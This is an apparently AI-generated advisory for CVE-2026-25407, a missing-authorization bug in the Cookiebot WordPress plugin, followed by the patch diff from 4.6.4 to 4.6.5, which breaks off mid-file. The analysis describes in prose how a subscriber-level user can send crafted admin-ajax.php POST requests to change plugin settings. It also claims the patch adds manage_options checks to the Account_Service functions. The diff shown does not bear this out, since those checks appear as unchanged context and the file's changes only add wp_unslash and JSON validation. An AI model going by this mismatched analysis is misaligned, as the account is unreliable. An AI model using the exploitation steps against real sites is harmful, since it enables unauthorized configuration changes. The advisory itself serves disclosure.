Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25407: Cookiebot by Usercentrics – Automatic Cookie Banner for GDPR/CCPA & Google Consent Mode <= 4.6.4 – Missing Authorization (cookiebot)

Plugin cookiebot
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.6.4
Patched Version 4.6.5
Disclosed January 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25407:
The Cookiebot WordPress plugin version 4.6.4 and earlier contains a missing authorization vulnerability in its AJAX handler functions. This allows authenticated attackers with subscriber-level permissions to perform administrative actions, including modifying plugin configuration and user data.

Atomic Edge research identifies the root cause in the Account_Service class within cookiebot/src/lib/Account_Service.php. Multiple AJAX handler functions lack capability checks before processing requests. The affected functions include save_cbid(), save_scan_id(), save_user_data(), save_scan_status(), save_banner_enabled(), save_auto_blocking_mode(), save_gcm(), and save_manual_configuration(). Each function begins with a nonce verification check but omits any user capability validation, allowing any authenticated user to trigger these administrative operations.

The exploitation method involves authenticated attackers sending POST requests to /wp-admin/admin-ajax.php with the action parameter set to cookiebot_account_service. Attackers must include a valid nonce (obtainable via WordPress’s nonce generation functions) and specific parameters depending on the targeted function. For example, to modify the CBID configuration, attackers would send a POST request with action=cookiebot_account_service, method=save_cbid, and cbid parameter containing the malicious value. The nonce requirement restricts exploitation to authenticated users but does not enforce role-based permissions.

The patch in version 4.6.5 adds capability checks to all vulnerable functions in Account_Service.php. Each function now includes if (!current_user_can(‘manage_options’)) { wp_send_json_error(‘Unauthorized’, 401); } at the beginning. This ensures only users with administrator privileges can execute these operations. The patch also adds input sanitization improvements with wp_unslash() calls and JSON validation for the save_user_data() function.

Successful exploitation allows attackers with subscriber-level access to modify critical plugin configuration. Attackers can change the CBID (Cookiebot Domain Group ID), alter scan status and user data, enable/disable the cookie banner, modify auto-blocking mode settings, and update Google Consent Mode configuration. These changes could disrupt cookie consent functionality, compromise GDPR/CCPA compliance, or redirect consent data to attacker-controlled domains.

Differential between vulnerable and patched code

Code Diff
--- a/cookiebot/cookiebot.php
+++ b/cookiebot/cookiebot.php
@@ -5,7 +5,7 @@
 Plugin URI: https://www.cookiebot.com/
 Description: Install your cookie banner in minutes. Automatically scan and block cookies to comply with the GDPR, CCPA, Google Consent Mode v2. Free plan option.
 Author: Usercentrics A/S
-Version: 4.6.4
+Version: 4.6.5
 Author URI: https://www.cookiebot.com/
 Text Domain: cookiebot
 Domain Path: /langs
--- a/cookiebot/src/addons/Cookiebot_Addons.php
+++ b/cookiebot/src/addons/Cookiebot_Addons.php
@@ -180,13 +180,13 @@
 				);
 				if ( ! is_a( $addon, Base_Cookiebot_Addon::class ) ) {
 					throw new InvalidAddonClassException(
-						sprintf( 'Class %s could not be instantiated', $addon_class )
+						sprintf( 'Class %s could not be instantiated', esc_html( $addon_class ) )
 					);
 				}
 				$this->container->set( $addon_class, $addon );
 			} else {
 				throw new InvalidAddonClassException(
-					sprintf( 'Class %s not found', $addon_class )
+					sprintf( 'Class %s not found', esc_html( $addon_class ) )
 				);
 			}
 		}
--- a/cookiebot/src/addons/addons.php
+++ b/cookiebot/src/addons/addons.php
@@ -29,6 +29,7 @@
 	use cybotcookiebotaddonscontrolleraddonspixel_caffeinePixel_Caffeine;
 	use cybotcookiebotaddonscontrolleraddonssimple_share_buttons_adderSimple_Share_Buttons_Adder;
 	use cybotcookiebotaddonscontrolleraddonswd_google_analyticsWd_Google_Analytics;
+	use cybotcookiebotaddonscontrolleraddonswoocommerceWooCommerce;
 	use cybotcookiebotaddonscontrolleraddonswoocommerce_google_analytics_proWoocommerce_Google_Analytics_Pro;
 	use cybotcookiebotaddonscontrolleraddonswp_analytifyWp_Analytify;
 	use cybotcookiebotaddonscontrolleraddonswp_google_analytics_eventsWp_Google_Analytics_Events;
@@ -57,6 +58,7 @@
 		Simple_Share_Buttons_Adder::class,
 		Optinmonster::class,
 		Pixel_Caffeine::class,
+		WooCommerce::class,
 		Woocommerce_Google_Analytics_Pro::class,
 		Wp_Analytify::class,
 		Wp_Google_Analytics_Events::class,
--- a/cookiebot/src/addons/controller/addons/Base_Cookiebot_Addon.php
+++ b/cookiebot/src/addons/controller/addons/Base_Cookiebot_Addon.php
@@ -123,13 +123,13 @@
 	private function validate_alternative_addon_versions() {
 		foreach ( static::ALTERNATIVE_ADDON_VERSIONS as $version_string => $alternative_version_addon_class ) {
 			if ( ! version_compare( $version_string, '0.0.1', '>=' ) ) {
-				throw new InvalidArgumentException( 'Invalid version number "' . $version_string . '"' );
+				throw new InvalidArgumentException( 'Invalid version number "' . esc_html( $version_string ) . '"' );
 			}
 			if ( ! class_exists( $alternative_version_addon_class ) ) {
-				throw new InvalidArgumentException( 'Class not found at "' . $alternative_version_addon_class . '"' );
+				throw new InvalidArgumentException( 'Class not found at "' . esc_html( $alternative_version_addon_class ) . '"' );
 			}
 			if ( ! is_subclass_of( $alternative_version_addon_class, self::class ) ) {
-				throw new InvalidArgumentException( 'Class "' . $alternative_version_addon_class . '" is not a subclass of "' . self::class . '"' );
+				throw new InvalidArgumentException( 'Class "' . esc_html( $alternative_version_addon_class ) . '" is not a subclass of "' . esc_html( self::class ) . '"' );
 			}
 		}
 	}
--- a/cookiebot/src/addons/controller/addons/woocommerce/WooCommerce.php
+++ b/cookiebot/src/addons/controller/addons/woocommerce/WooCommerce.php
@@ -0,0 +1,33 @@
+<?php
+
+namespace cybotcookiebotaddonscontrolleraddonswoocommerce;
+
+use cybotcookiebotaddonscontrolleraddonsBase_Cookiebot_Plugin_Addon;
+
+class WooCommerce extends Base_Cookiebot_Plugin_Addon {
+
+	const ADDON_NAME              = 'WooCommerce';
+	const OPTION_NAME             = 'woocommerce';
+	const DEFAULT_COOKIE_TYPES    = array( 'statistics' );
+	const PLUGIN_FILE_PATH        = 'woocommerce/woocommerce.php';
+	const ENABLE_ADDON_BY_DEFAULT = true;
+
+	/**
+	 * Block WooCommerce Order Attribution Tracking scripts until consent is given.
+	 *
+	 * @since 4.6.0
+	 */
+	public function load_addon_configuration() {
+		$this->script_loader_tag->add_tag( 'sourcebuster-js', $this->get_cookie_types() );
+		$this->script_loader_tag->add_tag( 'wc-order-attribution', $this->get_cookie_types() );
+	}
+
+	/**
+	 * @return array
+	 */
+	public function get_extra_information() {
+		return array(
+			__( 'Blocks WooCommerce Order Attribution Tracking scripts (SourceBuster) before consent is accepted.', 'cookiebot' ),
+		);
+	}
+}
--- a/cookiebot/src/admin_notices/Cookiebot_Base_Notice.php
+++ b/cookiebot/src/admin_notices/Cookiebot_Base_Notice.php
@@ -59,10 +59,14 @@
 	 * @since 2.0.5
 	 */
 	private function save_notice_link() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
 		if ( isset( $_GET[ static::COOKIEBOT_NOTICE_OPTION_KEY ] ) ) {
 			foreach ( static::COOKIEBOT_NOTICE_TIMES as $item ) {
 				if ( isset( $_GET[ $item['name'] ] ) &&
-					wp_verify_nonce( $_GET[ $item['name'] ], $item['action'] ) ) {
+					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce value verified by wp_verify_nonce().
+					wp_verify_nonce( wp_unslash( $_GET[ $item['name'] ] ), $item['action'] ) ) {
 					$option = $item['time'];
 					if ( isset( $item['str'] ) && $item['str'] === true ) {
 						$option = strtotime( $item['time'] );
@@ -90,7 +94,7 @@
 			}
 			// "Never show again" is clicked
 			if ( array_key_exists( $option, static::COOKIEBOT_NOTICE_TIMES ) ) {
-				throw new LogicException( static::COOKIEBOT_NOTICE_TIMES[ $option ]['msg'] );
+				throw new LogicException( esc_html( static::COOKIEBOT_NOTICE_TIMES[ $option ]['msg'] ) );
 			} elseif ( is_numeric( $option ) ) {
 				if ( ! self::notice_check_option_date( $option ) ) {
 					throw new LogicException( 'Show me after some time' );
--- a/cookiebot/src/lib/Account_Service.php
+++ b/cookiebot/src/lib/Account_Service.php
@@ -109,7 +109,7 @@
 			wp_send_json_error( 'Unauthorized', 401 );
 		}

-		$cbid = isset( $_POST['cbid'] ) ? sanitize_text_field( $_POST['cbid'] ) : '';
+		$cbid = isset( $_POST['cbid'] ) ? sanitize_text_field( wp_unslash( $_POST['cbid'] ) ) : '';

 		if ( empty( $cbid ) ) {
 			wp_send_json_error( 'CBID is required', 400 );
@@ -126,7 +126,7 @@
 			wp_send_json_error( 'Unauthorized', 401 );
 		}

-		$scan_id = isset( $_POST['scan_id'] ) ? sanitize_text_field( $_POST['scan_id'] ) : '';
+		$scan_id = isset( $_POST['scan_id'] ) ? sanitize_text_field( wp_unslash( $_POST['scan_id'] ) ) : '';

 		if ( empty( $scan_id ) ) {
 			wp_send_json_error( 'Scan ID is required', 400 );
@@ -142,6 +142,7 @@
 			return;
 		}

+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- JSON payload validated by json_decode() below.
 		$raw_data = isset( $_POST['data'] ) ? wp_unslash( $_POST['data'] ) : '';

 		if ( empty( $raw_data ) ) {
@@ -150,6 +151,10 @@
 		}

 		$data = json_decode( $raw_data, true );
+		if ( json_last_error() !== JSON_ERROR_NONE ) {
+			wp_send_json_error( 'Invalid user data format', 400 );
+			return;
+		}
 		update_option( 'cookiebot-user-data', $data );

 		wp_send_json_success( array( 'message' => 'User data stored successfully' ) );
@@ -171,8 +176,8 @@
 			return;
 		}

-		$scan_id     = isset( $_POST['scan_id'] ) ? sanitize_text_field( $_POST['scan_id'] ) : '';
-		$scan_status = isset( $_POST['scan_status'] ) ? wp_unslash( $_POST['scan_status'] ) : '';
+		$scan_id     = isset( $_POST['scan_id'] ) ? sanitize_text_field( wp_unslash( $_POST['scan_id'] ) ) : '';
+		$scan_status = isset( $_POST['scan_status'] ) ? sanitize_text_field( wp_unslash( $_POST['scan_status'] ) ) : '';

 		update_option( 'cookiebot-scan-id', $scan_id );
 		update_option( 'cookiebot-scan-status', $scan_status );
@@ -186,7 +191,7 @@
 			return;
 		}

-		$value = isset( $_POST['value'] ) ? trim( $_POST['value'] ) : '';
+		$value = isset( $_POST['value'] ) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';

 		// Save option value
 		update_option( 'cookiebot-banner-enabled', $value );
@@ -199,7 +204,7 @@
 			return;
 		}

-		$value = isset( $_POST['value'] ) ? trim( $_POST['value'] ) : '';
+		$value = isset( $_POST['value'] ) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';

 		// Save option value
 		update_option( 'cookiebot-uc-auto-blocking-mode', $value );
@@ -221,7 +226,7 @@
 			return;
 		}

-		$value = isset( $_POST['value'] ) ? trim( $_POST['value'] ) : '';
+		$value = isset( $_POST['value'] ) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';

 		// Save option value
 		update_option( 'cookiebot-gcm', $value );
@@ -258,7 +263,7 @@
 			return;
 		}

-		$code = isset( $_POST['code'] ) ? sanitize_text_field( $_POST['code'] ) : '';
+		$code = isset( $_POST['code'] ) ? sanitize_text_field( wp_unslash( $_POST['code'] ) ) : '';

 		if ( empty( $code ) ) {
 			wp_send_json_error( 'No code provided', 400 );
@@ -335,6 +340,7 @@
 			return;
 		}

+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- JSON payload validated by json_decode() below.
 		$configuration = isset( $_POST['configuration'] ) ? wp_unslash( $_POST['configuration'] ) : '';

 		if ( empty( $configuration ) ) {
--- a/cookiebot/src/lib/Cookie_Consent.php
+++ b/cookiebot/src/lib/Cookie_Consent.php
@@ -34,7 +34,7 @@
 	 * @version 2.4.1
 	 */
 	public function __construct( $default_cookie = null ) {
-		$this->cookie = ( isset( $_COOKIE['CookieConsent'] ) ) ? $_COOKIE['CookieConsent'] : $default_cookie;
+		$this->cookie = ( isset( $_COOKIE['CookieConsent'] ) ) ? sanitize_text_field( wp_unslash( $_COOKIE['CookieConsent'] ) ) : $default_cookie;

 		$this->scan_cookie();
 	}
--- a/cookiebot/src/lib/Cookiebot_Review.php
+++ b/cookiebot/src/lib/Cookiebot_Review.php
@@ -137,14 +137,14 @@
 	 */
 	public function send_uninstall_survey() {
 		global $wpdb;
-		if ( ! check_ajax_referer( 'cookiebot_survey_nonce', 'survey_nonce', false ) ) {
+		if ( ! check_ajax_referer( 'cookiebot_survey_nonce', 'survey_nonce', false ) || ! current_user_can( 'manage_options' ) ) {
 			wp_send_json_error( esc_html__( 'Sorry you are not allowed to do this.', 'cookiebot' ), 401 );
 		}
 		if ( ! isset( $_POST['reason_id'] ) ) {
 			wp_send_json_error( esc_html__( 'Please select one option', 'cookiebot' ), 400 );
 		}
 		$data = array(
-			'survey_check'   => sanitize_text_field( wp_unslash( $_POST['survey_check'] ) ),
+			'survey_check'   => isset( $_POST['survey_check'] ) ? sanitize_text_field( wp_unslash( $_POST['survey_check'] ) ) : '',
 			'reason_slug'    => sanitize_text_field( wp_unslash( $_POST['reason_id'] ) ),
 			'reason_detail'  => ! empty( $_POST['reason_text'] ) ? sanitize_text_field( wp_unslash( $_POST['reason_text'] ) ) : null,
 			'comments'       => ! empty( $_POST['reason_info'] ) ? sanitize_text_field( wp_unslash( $_POST['reason_info'] ) ) : null,
--- a/cookiebot/src/lib/Cookiebot_WP.php
+++ b/cookiebot/src/lib/Cookiebot_WP.php
@@ -11,6 +11,7 @@
 use cybotcookiebotshortcodeCookiebot_Embedding_Shortcode;
 use cybotcookiebotwidgetsDashboard_Widget_Cookiebot_Status;
 use cybotcookiebotlibAccount_Service;
+use cybotcookiebotsettingspagesPPG_Page;
 use DomainException;
 use RuntimeException;

@@ -27,7 +28,7 @@
 		}
 	}

-	const COOKIEBOT_PLUGIN_VERSION  = '4.6.4';
+	const COOKIEBOT_PLUGIN_VERSION  = '4.6.5';
 	const COOKIEBOT_MIN_PHP_VERSION = '5.6.0';

 	/**
@@ -85,7 +86,7 @@
 				__( 'The Cookiebot plugin requires PHP version %s or greater.', 'cookiebot' ),
 				self::COOKIEBOT_MIN_PHP_VERSION
 			);
-			throw new DomainException( $message );
+			throw new DomainException( esc_html( $message ) );
 		}
 	}

@@ -101,6 +102,7 @@
 			( new Dashboard_Widget_Cookiebot_Status() )->register_hooks();
 			( new Cookiebot_Notices() )->register_hooks();
 			( new Cookiebot_Review() )->register_hooks();
+			( new PPG_Page() )->register_ajax_hooks();
 		}

 		( new Consent_API_Helper() )->register_hooks();
--- a/cookiebot/src/lib/Dependency_Container.php
+++ b/cookiebot/src/lib/Dependency_Container.php
@@ -30,7 +30,7 @@
 	 */
 	public function set( $key, $dependency ) {
 		if ( isset( $this->dependencies[ $key ] ) ) {
-			throw new InvalidArgumentException( 'Dependency key ' . $key . ' already exists' );
+			throw new InvalidArgumentException( 'Dependency key ' . esc_html( $key ) . ' already exists' );
 		}
 		$this->dependencies[ $key ] = $dependency;
 	}
@@ -43,7 +43,7 @@
 	 */
 	public function get( $key ) {
 		if ( ! isset( $this->dependencies[ $key ] ) ) {
-			throw new InvalidArgumentException( 'Dependency key ' . $key . ' does not exists' );
+			throw new InvalidArgumentException( 'Dependency key ' . esc_html( $key ) . ' does not exist' );
 		}

 		return $this->dependencies[ $key ];
--- a/cookiebot/src/lib/helper.php
+++ b/cookiebot/src/lib/helper.php
@@ -511,7 +511,7 @@
 	 */
 	function cookiebot_get_local_file_contents( $file_path ) {
 		if ( ! file_exists( $file_path ) ) {
-			throw new InvalidArgumentException( 'File ' . $file_path . ' does not exist' );
+			throw new InvalidArgumentException( 'File ' . esc_html( $file_path ) . ' does not exist' );
 		}

 		ob_start();
@@ -530,7 +530,7 @@
 		}
 		$absolute_path = CYBOT_COOKIEBOT_PLUGIN_DIR . 'src/view/' . $relative_path;
 		if ( ! file_exists( $absolute_path ) ) {
-			throw new InvalidArgumentException( 'View could not be loaded from "' . $absolute_path . '"' );
+			throw new InvalidArgumentException( 'View could not be loaded from "' . esc_html( $absolute_path ) . '"' );
 		}
 		// phpcs:ignore WordPress.PHP.DontExtract.extract_extract
 		extract( $view_args );
@@ -556,7 +556,7 @@
 	function asset_path( $relative_path ) {
 		$absolute_path = CYBOT_COOKIEBOT_PLUGIN_DIR . CYBOT_COOKIEBOT_PLUGIN_ASSETS_DIR . $relative_path;
 		if ( ! file_exists( $absolute_path ) ) {
-			throw new InvalidArgumentException( 'Asset could not be loaded from "' . $absolute_path . '"' );
+			throw new InvalidArgumentException( 'Asset could not be loaded from "' . esc_html( $absolute_path ) . '"' );
 		}
 		return $absolute_path;
 	}
@@ -571,7 +571,7 @@
 		$absolute_path = CYBOT_COOKIEBOT_PLUGIN_DIR . CYBOT_COOKIEBOT_PLUGIN_ASSETS_DIR . $relative_path;
 		$url           = esc_url( CYBOT_COOKIEBOT_PLUGIN_URL . CYBOT_COOKIEBOT_PLUGIN_ASSETS_DIR . $relative_path );
 		if ( ! file_exists( $absolute_path ) || empty( $url ) ) {
-			throw new InvalidArgumentException( 'Asset could not be loaded from "' . $absolute_path . '"' );
+			throw new InvalidArgumentException( 'Asset could not be loaded from "' . esc_html( $absolute_path ) . '"' );
 		}
 		return $url;
 	}
@@ -584,7 +584,7 @@
 		$absolute_path = CYBOT_COOKIEBOT_PLUGIN_DIR . CYBOT_COOKIEBOT_PLUGIN_LOGO_FILE;
 		$url           = esc_url( CYBOT_COOKIEBOT_PLUGIN_URL . CYBOT_COOKIEBOT_PLUGIN_LOGO_FILE );
 		if ( ! file_exists( $absolute_path ) || empty( $url ) ) {
-			throw new InvalidArgumentException( 'Asset could not be loaded from "' . $absolute_path . '"' );
+			throw new InvalidArgumentException( 'Asset could not be loaded from "' . esc_html( $absolute_path ) . '"' );
 		}
 		return $url;
 	}
--- a/cookiebot/src/lib/traits/Class_Constant_Override_Validator_Trait.php
+++ b/cookiebot/src/lib/traits/Class_Constant_Override_Validator_Trait.php
@@ -33,8 +33,8 @@
 			throw new InvalidClassConstantException(
 				sprintf(
 					'Class constant "%s" should be changed by %s',
-					$fixed_class_constant_name,
-					static::class
+					esc_html( $fixed_class_constant_name ),
+					esc_html( static::class )
 				)
 			);
 		}
@@ -65,8 +65,8 @@
 			throw new InvalidClassConstantException(
 				sprintf(
 					'Class constant "%s" must be a non-empty string in %s',
-					$required_string_constant_name,
-					static::class
+					esc_html( $required_string_constant_name ),
+					esc_html( static::class )
 				)
 			);
 		}
@@ -97,8 +97,8 @@
 			throw new InvalidClassConstantException(
 				sprintf(
 					'Class constant "%s" must be a boolean in %s',
-					$required_boolean_constant_name,
-					static::class
+					esc_html( $required_boolean_constant_name ),
+					esc_html( static::class )
 				)
 			);
 		}
@@ -130,8 +130,8 @@
 			throw new InvalidClassConstantException(
 				sprintf(
 					'Class constant "%s" must be an array in %s',
-					$required_array_constant_name,
-					static::class
+					esc_html( $required_array_constant_name ),
+					esc_html( static::class )
 				)
 			);
 		}
@@ -141,9 +141,9 @@
 					throw new InvalidClassConstantException(
 						sprintf(
 							'Class constant "%s" array items should be one of "%s" in %s',
-							$required_array_constant_name,
-							implode( ', ', $allowed_item_values ),
-							static::class
+							esc_html( $required_array_constant_name ),
+							esc_html( implode( ', ', $allowed_item_values ) ),
+							esc_html( static::class )
 						)
 					);
 				}
--- a/cookiebot/src/settings/Menu_Settings.php
+++ b/cookiebot/src/settings/Menu_Settings.php
@@ -8,6 +8,7 @@
 use cybotcookiebotsettingspagesLegislations_Page;
 use cybotcookiebotsettingspagesSettings_Page;
 use cybotcookiebotsettingspagesSupport_Page;
+use cybotcookiebotsettingspagesPPG_Page;
 use cybotcookiebotlibCookiebot_WP;

 class Menu_Settings {
@@ -17,6 +18,7 @@
 		Dashboard_Page::class,
 		Support_Page::class,
 		Settings_Page::class,
+		PPG_Page::class,
 	);

 	public function add_menu() {
--- a/cookiebot/src/settings/Network_Menu_Settings.php
+++ b/cookiebot/src/settings/Network_Menu_Settings.php
@@ -68,33 +68,37 @@
 	public function network_settings_save() {
 		check_admin_referer( 'cookiebot-network-settings' );

+		if ( ! current_user_can( 'manage_network_options' ) ) {
+			wp_die( esc_html__( 'You do not have permission to manage network options.', 'cookiebot' ), 403 );
+		}
+
 		update_site_option(
 			'cookiebot-cbid',
-			! empty( $_POST['cookiebot-cbid'] ) ? $_POST['cookiebot-cbid'] : ''
+			! empty( $_POST['cookiebot-cbid'] ) ? sanitize_text_field( wp_unslash( $_POST['cookiebot-cbid'] ) ) : ''
 		);
 		update_site_option(
 			'cookiebot-ruleset-id',
-			! empty( $_POST['cookiebot-ruleset-id'] ) ? $_POST['cookiebot-ruleset-id'] : ''
+			! empty( $_POST['cookiebot-ruleset-id'] ) ? sanitize_text_field( wp_unslash( $_POST['cookiebot-ruleset-id'] ) ) : ''
 		);
 		update_site_option(
 			'cookiebot-script-tag-uc-attribute',
-			! empty( $_POST['cookiebot-script-tag-uc-attribute'] ) ? $_POST['cookiebot-script-tag-uc-attribute'] : ''
+			! empty( $_POST['cookiebot-script-tag-uc-attribute'] ) ? sanitize_text_field( wp_unslash( $_POST['cookiebot-script-tag-uc-attribute'] ) ) : ''
 		);
 		update_site_option(
 			'cookiebot-script-tag-cd-attribute',
-			! empty( $_POST['cookiebot-script-tag-cd-attribute'] ) ? $_POST['cookiebot-script-tag-cd-attribute'] : ''
+			! empty( $_POST['cookiebot-script-tag-cd-attribute'] ) ? sanitize_text_field( wp_unslash( $_POST['cookiebot-script-tag-cd-attribute'] ) ) : ''
 		);
 		update_site_option(
 			'cookiebot-autoupdate',
-			! empty( $_POST['cookiebot-autoupdate'] ) ? $_POST['cookiebot-autoupdate'] : ''
+			! empty( $_POST['cookiebot-autoupdate'] ) ? sanitize_text_field( wp_unslash( $_POST['cookiebot-autoupdate'] ) ) : ''
 		);
 		update_site_option(
 			'cookiebot-nooutput',
-			! empty( $_POST['cookiebot-nooutput'] ) ? $_POST['cookiebot-nooutput'] : ''
+			! empty( $_POST['cookiebot-nooutput'] ) ? sanitize_text_field( wp_unslash( $_POST['cookiebot-nooutput'] ) ) : ''
 		);
 		update_site_option(
 			'cookiebot-nooutput-admin',
-			! empty( $_POST['cookiebot-nooutput-admin'] ) ? $_POST['cookiebot-nooutput-admin'] : ''
+			! empty( $_POST['cookiebot-nooutput-admin'] ) ? sanitize_text_field( wp_unslash( $_POST['cookiebot-nooutput-admin'] ) ) : ''
 		);
 		update_site_option(
 			'cookiebot-cookie-blocking-mode',
--- a/cookiebot/src/settings/pages/PPG_Page.php
+++ b/cookiebot/src/settings/pages/PPG_Page.php
@@ -0,0 +1,162 @@
+<?php
+
+namespace cybotcookiebotsettingspages;
+
+use cybotcookiebotlibCookiebot_WP;
+use function cybotcookiebotlibasset_url;
+use function cybotcookiebotlibinclude_view;
+
+class PPG_Page implements Settings_Page_Interface {
+
+	const ADMIN_SLUG = 'cookiebot_ppg';
+
+	const PPG_PLUGIN_SLUG = 'privacy-policy-usercentrics/privacy-policy-usercentrics.php';
+
+	public function menu() {
+		add_submenu_page(
+			'cookiebot',
+			__( 'Policy Generator Plugin', 'cookiebot' ),
+			__( 'Policy Generator Plugin', 'cookiebot' ),
+			'manage_options',
+			self::ADMIN_SLUG,
+			array( $this, 'display' ),
+			30
+		);
+	}
+
+	public function register_ajax_hooks() {
+		add_action( 'wp_ajax_cookiebot_activate_ppg', array( $this, 'ajax_activate_plugin' ) );
+		add_action( 'wp_ajax_cookiebot_install_ppg', array( $this, 'ajax_install_plugin' ) );
+	}
+
+	public function ajax_activate_plugin() {
+		check_ajax_referer( 'cookiebot_ppg_nonce', 'nonce' );
+
+		if ( ! current_user_can( 'activate_plugins' ) ) {
+			wp_send_json_error( array( 'message' => __( 'You do not have permission to activate plugins.', 'cookiebot' ) ), 403 );
+		}
+
+		if ( self::is_plugin_active() ) {
+			wp_send_json_success();
+		}
+
+		if ( ! self::is_plugin_installed() ) {
+			wp_send_json_error( array( 'message' => __( 'Plugin is not installed.', 'cookiebot' ) ), 404 );
+		}
+
+		$result = activate_plugin( self::PPG_PLUGIN_SLUG );
+
+		if ( is_wp_error( $result ) ) {
+			wp_send_json_error( array( 'message' => $result->get_error_message() ), 500 );
+		}
+
+		wp_send_json_success();
+	}
+
+	public function ajax_install_plugin() {
+		check_ajax_referer( 'cookiebot_ppg_nonce', 'nonce' );
+
+		if ( ! current_user_can( 'install_plugins' ) ) {
+			wp_send_json_error( array( 'message' => __( 'You do not have permission to install plugins.', 'cookiebot' ) ), 403 );
+		}
+
+		if ( self::is_plugin_installed() ) {
+			wp_send_json_success();
+		}
+
+		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
+
+		$api = plugins_api(
+			'plugin_information',
+			array(
+				'slug'   => 'privacy-policy-usercentrics',
+				'fields' => array( 'sections' => false ),
+			)
+		);
+
+		if ( is_wp_error( $api ) ) {
+			wp_send_json_error( array( 'message' => $api->get_error_message() ), 500 );
+		}
+
+		$upgrader = new Plugin_Upgrader( new WP_Ajax_Upgrader_Skin() );
+		$result   = $upgrader->install( $api->download_link );
+
+		if ( is_wp_error( $result ) || ! $result ) {
+			wp_send_json_error( array( 'message' => __( 'Plugin installation failed.', 'cookiebot' ) ), 500 );
+		}
+
+		wp_send_json_success();
+	}
+
+	public function display() {
+		wp_enqueue_style(
+			'cookiebot-ppg-page-css',
+			asset_url( 'css/backend/ppg_page.css' ),
+			array(),
+			Cookiebot_WP::COOKIEBOT_PLUGIN_VERSION
+		);
+
+		$is_installed = self::is_plugin_installed();
+		$is_active    = self::is_plugin_active();
+
+		if ( ! $is_active ) {
+			wp_enqueue_script(
+				'cookiebot-ppg-page-js',
+				asset_url( 'js/backend/ppg-page.js' ),
+				array(),
+				Cookiebot_WP::COOKIEBOT_PLUGIN_VERSION,
+				true
+			);
+
+			$ppg_redirect_url = add_query_arg(
+				array(
+					'page'    => 'privacy-policy-usercentrics',
+					'ppg_ref' => 'content-distribution',
+				),
+				admin_url( 'admin.php' )
+			);
+
+			wp_localize_script(
+				'cookiebot-ppg-page-js',
+				'cookiebot_ppg',
+				array(
+					'ajax_url'     => admin_url( 'admin-ajax.php' ),
+					'nonce'        => wp_create_nonce( 'cookiebot_ppg_nonce' ),
+					'redirect_url' => $ppg_redirect_url,
+					'i18n'         => array(
+						'installing' => __( 'Installing...', 'cookiebot' ),
+						'install'    => __( 'Install Now', 'cookiebot' ),
+						'activating' => __( 'Activating...', 'cookiebot' ),
+						'activate'   => __( 'Activate', 'cookiebot' ),
+					),
+				)
+			);
+		}
+
+		$args = array(
+			'hero_image'   => asset_url( 'img/ppg-hero.png' ),
+			'is_installed' => $is_installed,
+			'is_active'    => $is_active,
+		);
+
+		include_view( 'admin/common/ppg-page.php', $args );
+	}
+
+	private static function is_plugin_installed() {
+		if ( ! function_exists( 'get_plugins' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		$plugins = get_plugins();
+		return isset( $plugins[ self::PPG_PLUGIN_SLUG ] );
+	}
+
+	private static function is_plugin_active() {
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		return is_plugin_active( self::PPG_PLUGIN_SLUG );
+	}
+}
--- a/cookiebot/src/view/admin/cb_frame/dashboard-page.php
+++ b/cookiebot/src/view/admin/cb_frame/dashboard-page.php
@@ -55,9 +55,10 @@
 					</div>
 				</div>

-				<?php if ( $cbid ) : ?>
+			<?php if ( $cbid ) : ?>
+				<div class="cb-main__dashboard__card--row">
 					<div class="cb-main__dashboard__card">
-						<div class="cb-main__card__inner  <?php echo $cbid ? 'start_card' : 'new_card'; ?>">
+						<div class="cb-main__card__inner bordered_card">
 							<h3 class="cb-main__card__subtitle">
 								<?php echo esc_html__( 'Your opinion matters', 'cookiebot' ); ?>
 							</h3>
@@ -70,24 +71,8 @@
 							</a>
 						</div>
 					</div>
-				<?php endif; ?>
-
-				<div class="cb-main__dashboard__card">
-					<div class="cb-main__card__inner  <?php echo $cbid ? 'start_card' : 'new_card'; ?>">
-						<?php if ( ! $cbid ) : ?>
-							<div class="cb-main__card__content">
-								<p class="cb-main__card__label">
-									<?php echo esc_html__( 'Get started', 'cookiebot' ); ?>
-								</p>
-								<h2 class="cb-main__card__title">
-									<?php echo esc_html__( 'Create a new Cookiebot CMP account', 'cookiebot' ); ?>
-								</h2>
-								<a href="https://admin.cookiebot.com/signup/?utm_source=wordpress&utm_medium=referral&utm_campaign=banner"
-									target="_blank" class="cb-btn cb-white-btn" rel="noopener">
-									<?php echo esc_html__( 'Create a new account', 'cookiebot' ); ?>
-								</a>
-							</div>
-						<?php else : ?>
+					<div class="cb-main__dashboard__card">
+						<div class="cb-main__card__inner bordered_card">
 							<h3 class="cb-main__card__subtitle">
 								<?php echo esc_html__( 'Learn more about how to optimize your Cookiebot CMP setup?', 'cookiebot' ); ?>
 							</h3>
@@ -95,15 +80,37 @@
 								rel="noopener">
 								<?php echo esc_html__( 'Visit Help Center', 'cookiebot' ); ?>
 							</a>
-						<?php endif; ?>
+						</div>
+					</div>
+				</div>
+			<?php else : ?>
+				<div class="cb-main__dashboard__card">
+					<div class="cb-main__card__inner new_card">
+						<div class="cb-main__card__content">
+							<p class="cb-main__card__label">
+								<?php echo esc_html__( 'Get started', 'cookiebot' ); ?>
+							</p>
+							<h2 class="cb-main__card__title">
+								<?php echo esc_html__( 'Create a new Cookiebot CMP account', 'cookiebot' ); ?>
+							</h2>
+							<a href="https://admin.cookiebot.com/signup/?utm_source=wordpress&utm_medium=referral&utm_campaign=banner"
+								target="_blank" class="cb-btn cb-white-btn" rel="noopener">
+								<?php echo esc_html__( 'Create a new account', 'cookiebot' ); ?>
+							</a>
+						</div>
 					</div>
 				</div>
+			<?php endif; ?>
 			</div>

-			<div class="cb-main__dashboard__card--container">
